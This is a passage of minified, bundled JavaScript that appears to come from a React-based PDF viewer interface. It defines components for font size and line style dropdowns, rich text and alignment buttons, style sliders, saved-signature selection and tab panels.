g="StyleContainer "+(p?"renderUpwards":"");return s.a.createElement("div",{className:"LineStyleOptions"},s.a.createElement("div",{className:"LayoutTitle"},r("option.lineStyleOptions.title")),s.a.createElement("div",{className:g},s.a.createElement(ky,{dataElement:"startLineStyleDropdown",images:Ry,width:85,onClickItem:function(e){a(e),n("start",e)},currentSelectionKey:i}),s.a.createElement(ky,{dataElement:"endLineStyleDropdown",images:jy,width:85,onClickItem:function(e){f(e),n("end",e)},currentSelectionKey:c})))};n(955),n(956);function Iy(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=Dy(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,o=function(){};return{s:o,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:o}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var i,a=!0,l=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return a=e.done,e},e:function(e){l=!0,i=e},f:function(){try{a||null==n.return||n.return()}finally{if(l)throw i}}}}function Ny(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||Dy(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Dy(e,t){if(e){if("string"==typeof e)return Fy(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?Fy(e,t):void 0}}function Fy(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var By={fontSize:Is.a.number,fontUnit:Is.a.string,onFontSizeChange:Is.a.func.isRequired,maxFontSize:Is.a.number,incrementMap:Is.a.object,onError:Is.a.func},Hy={0:1,20:2,48:4},Vy=function(e){var t=e.onFontSizeChange,n=e.fontSize,r=void 0===n?12:n,o=e.fontUnit,i=void 0===o?"pt":o,a=e.maxFontSize,u=void 0===a?128:a,c=e.incrementMap,f=void 0===c?Hy:c,d=e.onError,p=void 0===d?void 0:d,h=Ks().t,m=Object(l.useRef)(),g=Object(l.useRef)(),v=Object(l.useRef)(),y=Ny(Object(l.useState)([]),2),b=y[0],w=y[1],E=Ny(Object(l.useState)(!1),2),S=E[0],C=E[1],x=Object(l.useCallback)((function(){I(!1)}),[]);yp(v,x);var O=Ny(Object(l.useState)(r<=u?r:1),2),A=O[0],_=O[1],T=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[];return e&&-1===t.indexOf(e)&&e<=u&&e>=1};Object(l.useEffect)((function(){f[u]=12;var e=function(e){var t,n,r=!1,o=Object.keys(f).map((function(e){return parseFloat(e)})).sort((function(e,t){return e-t})),i=Iy(o);try{for(i.s();!(n=i.n()).done;){var a=n.value;if(e<a&&r)return f[t];if(a===o[o.length-1])return f[a];e>=a&&(r=!0,t=a)}}catch(e){i.e(e)}finally{i.f()}};w(function(t){for(var n=[1],r=1;r<=u;r++){var o=e(n[n.length-1]),i=n[n.length-1]+o;T(i,n)&&n.push(i)}return n.includes(t)||(n.push(t),n.sort((function(e,t){return e-t}))),n}(Math.floor(A)))}),[]);var k=Ny(Object(l.useState)(!1),2),P=k[0],M=k[1],R=function(){return M(!0)},j=Ny(Object(l.useState)(!1),2),L=j[0],I=j[1];Object(l.useEffect)((function(){if(L){var e,t=v.current.childNodes,n=t[0].getBoundingClientRect().height,o=v.current.getBoundingClientRect().height,i=0,a=Iy(t);try{for(a.s();!(e=a.n()).done;){if(e.value.innerText==="".concat(Math.floor(r),"pt"))break;i++}}catch(e){a.e(e)}finally{a.f()}v.current.scrollTop=n*i-o/2}}),[L]);var N=Object(l.useCallback)((function(e,n){e.stopPropagation(),I(!1),M(!1),_(n),t("".concat(n).concat(i)),null==g||g.current.focus()}),[i,t]),D=Object(l.useMemo)((function(){return b.map((function(e){return s.a.createElement(Uf,{key:e,type:"button",dataElement:"dropdown-item-".concat(e),className:js()("Dropdown__item",{active:e===Math.floor(A)}),onClick:function(t){return N(t,e)},tabIndex:L?void 0:-1},e+i)}))}),[A,L,N,i,b]);return s.a.createElement("div",{className:"FontSizeDropdown"},s.a.createElement("input",{min:1,max:u,value:P?A:"".concat(A,"pt"),onChange:function(e){M(!0);var n=e.target.value,r="string"==typeof n?parseFloat(n.replace(/[^\d]+/gi,"")):n;if(A!==r){if("number"!=typeof r)return _(1);if(_(r),!e.target.checkValidity())return T(A)&&(e.target.validFontSize=A),p&&(p(h("option.stylePopup.invalidFontSize")+u),C(!0)),e.preventDefault();C(!1),p&&p(""),t("".concat(r).concat(i))}},type:P?"number":"string",onFocus:R,onBlur:function(e){e.target.checkValidity()&&A||_(e.target.validFontSize||1),M(!1),p&&p(null),p&&C(!1)},onSelectCapture:R,ref:m,disabled:L,className:S?"error":void 0}),s.a.createElement("div",{className:js()("icon-button"),onClick:function(){return I(!0)},ref:g},s.a.createElement(cf,{glyph:"icon-chevron-".concat(L?"up":"down")})),s.a.createElement("div",{className:js()("Dropdown__items",{hidden:!L}),role:"listbox",ref:v},D))};Vy.propTypes=By;var zy=Vy;function Uy(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Gy(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Gy(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Gy(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var Wy=function(e){var t=e.onPropertyChange,n=e.properties,r=e.onRichTextStyleChange,o=e.isRedaction,i=e.fonts,a=null!=i&&i.length?i:["Helvitica","Times New Roman"],u=(null==n?void 0:n.Font)||a[0],c=(null==n?void 0:n.FontSize)||"12pt",f=Uy(Object(l.useState)((null==n?void 0:n.bold)||!1),2),d=f[0],p=f[1],h=Uy(Object(l.useState)((null==n?void 0:n.italic)||!1),2),m=h[0],g=h[1],v=Uy(Object(l.useState)((null==n?void 0:n.underline)||!1),2),y=v[0],b=v[1],w=Uy(Object(l.useState)((null==n?void 0:n.strikeout)||!1),2),E=w[0],S=w[1],C=(null==n?void 0:n.TextAlign)||"left",x=function(e){t("TextAlign",e)},O=(null==n?void 0:n.TextVerticalAlign)||"top",A=function(e){t("TextVerticalAlign",e)},_=null==c?void 0:c.match(/([0-9.]+)|([a-z]+)/gi),T=Uy(Object(l.useState)(""),2),k=T[0],P=T[1];return s.a.createElement(s.a.Fragment,null,s.a.createElement("div",{className:"container-fluid ".concat(k&&"error")},s.a.createElement(ky,{items:a,onClickItem:function(e){t("Font",e)},currentSelectionKey:u,isFont:!0,maxHeight:200}),s.a.createElement(zy,{fontSize:_&&parseFloat(_[0])||12,fontUnit:_&&_[1]||"pt",onFontSizeChange:function(e){t("FontSize",e)},onError:P}),k&&s.a.createElement("div",{className:"error-text"},k)),s.a.createElement("div",{className:"icon-grid"},!o&&s.a.createElement("div",{className:"row rich-text-format"},s.a.createElement(bf,{dataElement:"freeTextBoldButton",onClick:function(){r("font-weight",d?"":"bold"),p(!d)},img:"icon-menu-bold",title:"option.richText.bold",isActive:d}),s.a.createElement(bf,{dataElement:"freeTextItalicButton",onClick:function(){r("font-style",m?"":"italic"),g(!m)},img:"icon-menu-italic",title:"option.richText.italic",isActive:m}),s.a.createElement(bf,{dataElement:"freeTextUnderlineButton",onClick:function(){var e=!y;r("underline",!!e),b(e)},img:"icon-menu-text-underline",title:"option.richText.underline",isActive:y}),s.a.createElement(bf,{dataElement:"freeTextStrikeoutButton",onClick:function(){var e=!E;r("line-through",!!e),S(e)},img:"icon-tool-text-manipulation-strikethrough",title:"option.richText.strikeout",isActive:E})),s.a.createElement("div",{className:"row text-horizontal-alignment ".concat(o?"isRedaction":"")},s.a.createElement(bf,{dataElement:"freeTextAlignLeftButton",onClick:function(){return x("left")},img:"icon-menu-align-left",title:"option.richText.alignLeft",isActive:"left"===C}),s.a.createElement(bf,{dataElement:"freeTextAlignCenterButton",onClick:function(){return x("center")},img:"icon-menu-align-centre",title:"option.richText.alignCenter",isActive:"center"===C}),s.a.createElement(bf,{dataElement:"freeTextAlignRightButton",onClick:function(){return x("right")},img:"icon-menu-align-right",title:"option.richText.alignRight",isActive:"right"===C}),!o&&s.a.createElement(bf,{dataElement:"freeTextJustifyCenterButton",onClick:function(){return x("justify")},img:"icon-text-justify-center",title:"option.richText.justifyCenter",isActive:"justify"===C})),!o&&s.a.createElement("div",{className:"row text-vertical-alignment"},s.a.createElement(bf,{onClick:function(){return A("top")},img:"icon-arrow-to-top",title:"option.richText.alignTop",isActive:"top"===O}),s.a.createElement(bf,{onClick:function(){return A("center")},img:"icon-arrow-to-middle",title:"option.richText.alignMiddle",isActive:"center"===O}),s.a.createElement(bf,{onClick:function(){return A("bottom")},img:"icon-arrow-to-bottom",title:"option.richText.alignBottom",isActive:"bottom"===O}))))};n(957);function qy(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Zy(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Zy(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Zy(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var Yy=function(e){var t=e.onPropertyChange,n=e.properties.OverlayText||"",r=qy(Object(l.useState)(n),2),o=r[0],i=r[1],a=qy(Ks(),1)[0];return s.a.createElement(s.a.Fragment,null,s.a.createElement("input",{className:"overlay-text-input",value:o,onChange:function(e){i(e.target.value),t("OverlayText",e.target.value)},onKeyDown:function(e){var t;"Enter"===e.key&&(null===(t=e.target)||void 0===t||t.blur())},placeholder:a("option.stylePopup.labelTextPlaceholder")}))},$y=n(312),Ky=n.n($y);n(967);function Xy(e){return(Xy="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Qy(){return(Qy=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function Jy(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function eb(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function tb(e,t){return(tb=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function nb(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=ib(e);if(t){var o=ib(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return rb(this,n)}}function rb(e,t){if(t&&("object"===Xy(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return ob(e)}function ob(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function ib(e){return(ib=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function ab(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var lb=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&tb(e,t)}(i,e);var t,n,r,o=nb(i);function i(){var e;Jy(this,i);for(var t=arguments.length,n=new Array(t),r=0;r<t;r++)n[r]=arguments[r];return ab(ob(e=o.call.apply(o,[this].concat(n))),"renderSliders",(function(){var t=e.props,n=t.style,r=n.Opacity,o=n.StrokeThickness,i=n.FontSize,a=t.onStyleChange,l=t.onSliderChange,u=t.isFreeText,c=t.isMeasure,f=void 0!==c&&c,d=t.isOpacitySliderDisabled,p=t.isStrokeThicknessSliderDisabled,h=t.isFontSizeSliderDisabled,m=t.currentPalette,g={};d||(g.Opacity={property:"Opacity",displayProperty:"opacity",value:r,getDisplayValue:function(e){return"".concat(Math.round(100*e),"%")},dataElement:Yh.OPACITY_SLIDER,getCirclePosition:function(e,t){return t*e+8},convertRelativeCirclePositionToValue:function(e){return e},withInputField:!0,inputFieldType:"number",min:0,max:100,step:1,getLocalValue:function(e){return parseInt(e)/100}}),p||(g.StrokeThickness={property:"StrokeThickness",displayProperty:"thickness",value:o,getDisplayValue:function(e){var t=Math.floor(e)!==e&&e.toString().split(".")[1].length||0;return"".concat(0===o||o>=1&&(t>2||0===t)?Math.round(e):parseFloat(e).toFixed(2),"pt")},dataElement:Yh.STROKE_THICKNESS_SLIDER,getCirclePosition:function(e,t){return t/20*e+8},convertRelativeCirclePositionToValue:function(e){return e>=.05?20*e:e>=.0375&&e<.05?.75:e>=.025&&e<.0375?.5:e>=.0125&&e<.025?.25:e>=.004&&e<.0125?.1:u?0:.1},withInputField:!0,inputFieldType:"number",min:u?0:.1,max:20,step:1,getLocalValue:function(e){return parseFloat(e).toFixed(2)}}),h||(g.FontSize={property:"FontSize",displayProperty:"text",value:i,getDisplayValue:function(e){return"".concat(Math.round(parseInt(e,10)),"pt")},dataElement:Yh.FONT_SIZE_SLIDER,getCirclePosition:function(e,t){return(parseInt(t,10)-5)/40*e+8},convertRelativeCirclePositionToValue:function(e){return"".concat(40*e+5,"pt")}});var v={Opacity:r,StrokeThickness:o,FontSize:i};"TextColor"===m?v={Opacity:r,FontSize:i}:"StrokeColor"===m?v={Opacity:r,StrokeThickness:o}:"FillColor"===m&&(v={Opacity:r}),f&&(v.FontSize=i),d&&delete v.Opacity,p&&delete v.StrokeThickness,h&&delete v.FontSize,v=Ky()(v,(function(e){return null!=e}));var y=Object.keys(v).map((function(e){var t=g[e];return s.a.createElement(Ov,Qy({},t,{key:e,onStyleChange:a,onSliderChange:l}))}));return s.a.createElement(s.a.Fragment,null,y.length>0&&s.a.createElement("div",{className:"sliders-container"},y))})),e}return t=i,(n=[{key:"render",value:function(){var e,t=this.props,n=t.toolName,r=t.isColorPaletteDisabled,o=t.currentPalette,i=t.style,a=t.colorMapKey,l=t.onStyleChange,u=t.isStyleOptionDisabled,c=t.disableSeparator,f=t.hideSnapModeCheckbox,d=t.isFreeText,p=t.isTextStyleContainerActive,h=t.isColorsContainerActive,m=t.isLabelTextContainerActive,g=t.isLabelTextContainerDisabled,v=t.openElement,y=t.closeElement,b=t.properties,w=t.onPropertyChange,E=t.onRichTextStyleChange,S=t.isRedaction,C=t.fonts,x=t.showLineStyleOptions,O=t.onLineStyleChange;S&&(i.Opacity=null,i.StrokeThickness=null);var A=i.Scale,_=i.Precision,T=i.Style,k=(ab(e={},Yh.STYLE_POPUP_TEXT_STYLE_CONTAINER,p),ab(e,Yh.STYLE_POPUP_COLORS_CONTAINER,h),ab(e,Yh.STYLE_POPUP_LABEL_TEXT_CONTAINER,m),e),P=function(e){if(k[e])y(e);else if(v(e),Ot())for(var t in k)t!==e&&y(t)},M=function(){return P(Yh.STYLE_POPUP_LABEL_TEXT_CONTAINER)},R=function(){return P(Yh.STYLE_POPUP_TEXT_STYLE_CONTAINER)},j=function(){return P(Yh.STYLE_POPUP_COLORS_CONTAINER)},L=js()({Popup:!0,StylePopup:!0}),I="TextColor"===o&&(d||S),N="TextColor"===o&&(d||S),D=!(N&&!h),F="TextColor"===o&&S,B=r||D;return s.a.createElement("div",{className:L,"data-element":"stylePopup"},o&&!r&&s.a.createElement(s.a.Fragment,null,s.a.createElement(Vg,{colorPalette:o,colorMapKey:a,style:i,toolName:n,disableSeparator:c}),F&&!g&&s.a.createElement(s.a.Fragment,null,s.a.createElement("div",{className:"collapsible-menu",onClick:M,onTouchStart:M,role:"toolbar"},s.a.createElement("div",{className:"menu-title"},st.t("option.stylePopup.labelText")),s.a.createElement(cf,{glyph:"icon-chevron-".concat(m?"up":"down")})),m&&s.a.createElement("div",{className:"menu-items"},s.a.createElement(Yy,{properties:b,onPropertyChange:w})),s.a.createElement("div",{className:"divider"})),I&&s.a.createElement(s.a.Fragment,null,s.a.createElement("div",{className:"collapsible-menu",onClick:R,onTouchStart:R,role:"toolbar"},s.a.createElement("div",{className:"menu-title"},st.t("option.stylePopup.textStyle")),s.a.createElement(cf,{glyph:"icon-chevron-".concat(p?"up":"down")})),p&&s.a.createElement("div",{className:"menu-items"},s.a.createElement(Wy,{fonts:C,onPropertyChange:w,onRichTextStyleChange:E,properties:b,isRedaction:S})),s.a.createElement("div",{className:"divider"})),N&&s.a.createElement(s.a.Fragment,null,s.a.createElement("div",{className:"collapsible-menu",onClick:j,onTouchStart:j,role:"toolbar"},s.a.createElement("div",{className:"menu-title"},st.t("option.stylePopup.colors")),s.a.createElement(cf,{glyph:"icon-chevron-".concat(h?"up":"down")}))),D&&s.a.createElement(s.a.Fragment,null,s.a.createElement(Xg,{color:i[o],property:o,onStyleChange:l,colorMapKey:a,useMobileMinMaxWidth:!0}),s.a.createElement(dv,{color:i[o],property:o,onStyleChange:l,enableEdit:!0}))),B&&this.renderSliders(),A&&_&&s.a.createElement(s.a.Fragment,null,s.a.createElement(by,{scale:A,precision:_,hideSnapModeCheckbox:f,onStyleChange:l})),x&&s.a.createElement(Ly,{properties:b,onLineStyleChange:O}),!u&&"rectangle"===a&&s.a.createElement(Cy,{onStyleChange:l,borderStyle:T}))}}])&&eb(t.prototype,n),r&&eb(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.PureComponent);ab(lb,"propTypes",{style:Is.a.object.isRequired,onStyleChange:Is.a.func.isRequired,onPropertyChange:Is.a.func.isRequired,onSliderChange:Is.a.func.isRequired,onRichTextStyleChange:Is.a.func,onLineStyleChange:Is.a.func,isFreeText:Is.a.bool,isMeasure:Is.a.bool,colorMapKey:Is.a.string.isRequired,currentPalette:Is.a.oneOf(["TextColor","StrokeColor","FillColor"]),isColorPaletteDisabled:Is.a.bool,isOpacitySliderDisabled:Is.a.bool,isStrokeThicknessSliderDisabled:Is.a.bool,isFontSizeSliderDisabled:Is.a.bool,isStyleOptionDisabled:Is.a.bool,isStylePopupDisabled:Is.a.bool,hideSnapModeCheckbox:Is.a.bool,closeElement:Is.a.func,openElement:Is.a.func,properties:Is.a.object,isRedaction:Is.a.bool,fonts:Is.a.array});var sb=Q((function(e,t){var n=t.colorMapKey,r=t.isFreeText,o=t.isRedaction;return{currentPalette:fi.getCurrentPalette(e,n),isStylePopupDisabled:fi.isElementDisabled(e,Yh.STYLE_POPUP),isColorPaletteDisabled:fi.isElementDisabled(e,Yh.COLOR_PALETTE),isOpacitySliderDisabled:fi.isElementDisabled(e,Yh.OPACITY_SLIDER),isStrokeThicknessSliderDisabled:fi.isElementDisabled(e,Yh.STROKE_THICKNESS_SLIDER),isFontSizeSliderDisabled:fi.isElementDisabled(e,Yh.FONT_SIZE_SLIDER)||r||o,isStyleOptionDisabled:fi.isElementDisabled(e,Yh.STYLE_OPTION),isTextStyleContainerActive:fi.isElementOpen(e,Yh.STYLE_POPUP_TEXT_STYLE_CONTAINER),isColorsContainerActive:fi.isElementOpen(e,Yh.STYLE_POPUP_COLORS_CONTAINER),isLabelTextContainerActive:fi.isElementOpen(e,Yh.STYLE_POPUP_LABEL_TEXT_CONTAINER),isLabelTextContainerDisabled:fi.isElementDisabled(e,Yh.STYLE_POPUP_LABEL_TEXT_CONTAINER),fonts:fi.getFonts(e)}}),{closeElement:Ps.closeElement,openElement:Ps.openElement})(lb),ub=function(e){var t=Rf(["(max-width: 640px)"],[!0],!1);return s.a.createElement(sb,Qy({},e,{isMobile:t}))},cb=(n(968),function(e){var t=e.onClick,n=e.imgSrc,r=e.isActive,o=e.altText;return s.a.createElement("button",{className:js()({"signature-row-content":!0,interactable:t,active:r}),onClick:t},s.a.createElement("img",{alt:o,src:n}))}),fb=(n(279),xm()((function(e){var t=e.t,n=e.disabled,r=re();return s.a.createElement("button",{className:js()({"signature-row-content":!0,"add-btn":!0,disabled:n}),onClick:function(){n||(r(Ps.openElement("signatureModal")),r(Ps.closeElement("toolStylePopup")))}},t("option.signatureOverlay.addSignature"))})));function db(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function pb(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return hb(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return hb(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function hb(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var mb=xm()((function(e){var t=e.t,n=pb(le((function(e){return[fi.getActiveToolName(e),fi.getSavedSignatures(e),fi.getDisplayedSignatures(e),fi.getSelectedDisplayedSignatureIndex(e),fi.getMaxSignaturesCount(e),fi.getDisplayedSignaturesFilterFunction(e),fi.isElementDisabled(e,"defaultSignatureDeleteButton")]})),7),r=n[0],o=n[1],i=n[2],a=n[3],l=n[4],u=n[5],c=n[6],f=vt.getTool("AnnotationCreateSignature"),d=re(),p=function(){var e,t=(e=regeneratorRuntime.mark((function e(t){var n;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return d(Ps.setSelectedDisplayedSignatureIndex(t)),n=i[t].annotation,e.next=4,f.setSignature(n);case 4:if(vt.setToolMode("AnnotationCreateSignature"),!f.hasLocation()){e.next=10;break}return e.next=8,f.addSignature();case 8:e.next=12;break;case 10:return e.next=12,f.showPreview();case 12:case"end":return e.stop()}}),e)})),function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){db(i,r,o,a,l,"next",e)}function l(e){db(i,r,o,a,l,"throw",e)}a(void 0)}))});return function(e){return t.apply(this,arguments)}}();return s.a.createElement("div",{className:"signature-style-popup"},o.map((function(e,t){return[e,t]})).filter((function(e){var t=pb(e,2),n=t[0],r=t[1];return u(n,r)})).map((function(e,n){var o=pb(e,2),l=o[0].imgSrc,u=o[1];return s.a.createElement("div",{key:n,className:"signature-row"},s.a.createElement(cb,{onClick:function(){return p(n)},imgSrc:l,isActive:a===n&&"AnnotationCreateSignature"===r,altText:"".concat(t("option.toolsOverlay.signatureAltText")," ").concat(n+1)}),!c&&s.a.createElement("button",{className:"icon","data-element":"defaultSignatureDeleteButton",onClick:function(){return function(e,t){f.deleteSavedSignature(t),a===e?(d(Ps.setSelectedDisplayedSignatureIndex(0)),f.annot=null,f.hidePreview(),vt.setToolMode(Qa),1===i.length&&d(Ps.closeElements(["toolStylePopup"]))):e<a&&d(Ps.setSelectedDisplayedSignatureIndex(a-1))}(n,u)}},s.a.createElement(cf,{glyph:"icon-delete-line"})))})),s.a.createElement(fb,{disabled:o.length>=l}))}));var gb=function(e,t,n){var r=[],o=vt.getTool(e);ay(o)&&"StrokeColor"!==t&&"Opacity"!==t?r=function(e){return ly.filter((function(t){return isNaN(Number(e[e.length-1]))?isNaN(Number(t[t.length-1])):e[e.length-1]===t[t.length-1]}))}(e).map(vt.getTool):o&&r.push(o);r.forEach((function(e){e.setStyles(function(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}({},t,n))}))};function vb(){return document.querySelector(".WarningModal.open .container")}function yb(){return document.querySelector(".ColorPickerModal.open")}function bb(e){return(bb="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function wb(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function Eb(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Sb(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Sb(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Sb(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var Cb=s.a.createContext(),xb=s.a.memo((function(e){return s.a.createElement(Cb.Provider,{value:e.id},e.children)}));xb.propTypes={id:Is.a.string.isRequired,children:Is.a.node.isRequired};var Ob=function(e){var t=e.children,n=e.dataElement,r=Object(l.useContext)(Cb),o=Eb(le((function(e){return[fi.isElementDisabled(e,n),fi.getSelectedTab(e,r)===n]}),N),2),i=o[0],a=o[1],u=re(),c={className:js()(wb({selected:a},t.props.className,!!t.props.className)),onClick:function(){var e,o;null===(e=(o=t.props).onClick)||void 0===e||e.call(o),u(Ps.setSelectedTab(r,n))}};return c="function"===bb(t.type.type||t.type)?Object.assign(c,{isTabSelected:a,dataElement:n}):Object.assign(c,{"data-element":n}),i?null:s.a.cloneElement(t,c)};Ob.propTypes={children:Is.a.node.isRequired,index:Is.a.number,dataElement:Is.a.string.isRequired};var Ab=function(e){var t=e.dataElement,n=e.children,r=Eb(le((function(e){return[fi.isElementDisabled(e,t)]})),1)[0];return s.a.createElement("div",{"data-element":t},r?null:n)};Ab.propTypes={children:Is.a.node.isRequired,dataElement:Is.a.string.isRequired};var _b=function(e){var t=e.children,n=e.dataElement,r=Object(l.useContext)(Cb),o=Eb(le((function(e){return[fi.isElementDisabled(e,n),fi.getSelectedTab(e,r).includes(n)]}),N),2),i=o[0],a=o[1];return i?null:s.a.createElement("div",{className:"tab-panel","data-element":n,style:{display:a?"":"none"}},"function"==typeof t.type?s.a.cloneElement(t,{isTabPanelSelected:a}):t)};_b.propTypes={children:Is.a.node.isRequired,dataElement:Is.a.string.isRequired};n(969);function Tb(e){return(Tb="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function kb(){return(kb=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function Pb(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function Mb(e,t){for(var 